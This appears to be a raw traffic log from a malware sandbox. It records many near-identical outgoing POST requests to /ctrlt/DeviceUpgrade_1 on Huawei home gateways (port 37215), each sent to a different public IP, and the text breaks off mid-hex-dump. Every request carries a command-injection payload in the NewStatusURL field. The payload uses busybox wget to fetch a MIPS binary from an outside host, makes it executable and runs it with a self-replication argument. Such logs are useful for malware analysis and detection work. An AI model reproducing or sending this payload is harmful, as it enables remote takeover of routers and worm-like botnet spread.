Jul 20, 2024 23:10:39.478846073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.15	43258	163.110.119.229	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.478846073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.15	41756	157.17.105.247	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.478846073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.15	39428	169.37.171.79	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.478846073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.15	49010	157.5.164.72	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.478846073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.15	35092	157.149.230.36	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.478846073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.15	39728	197.202.153.125	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.478846073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.15	54142	197.39.42.138	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.478846073 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.15	41170	57.196.110.109	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479427099 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.15	56706	157.42.101.14	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479427099 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.15	56498	205.121.31.87	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.479427099 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 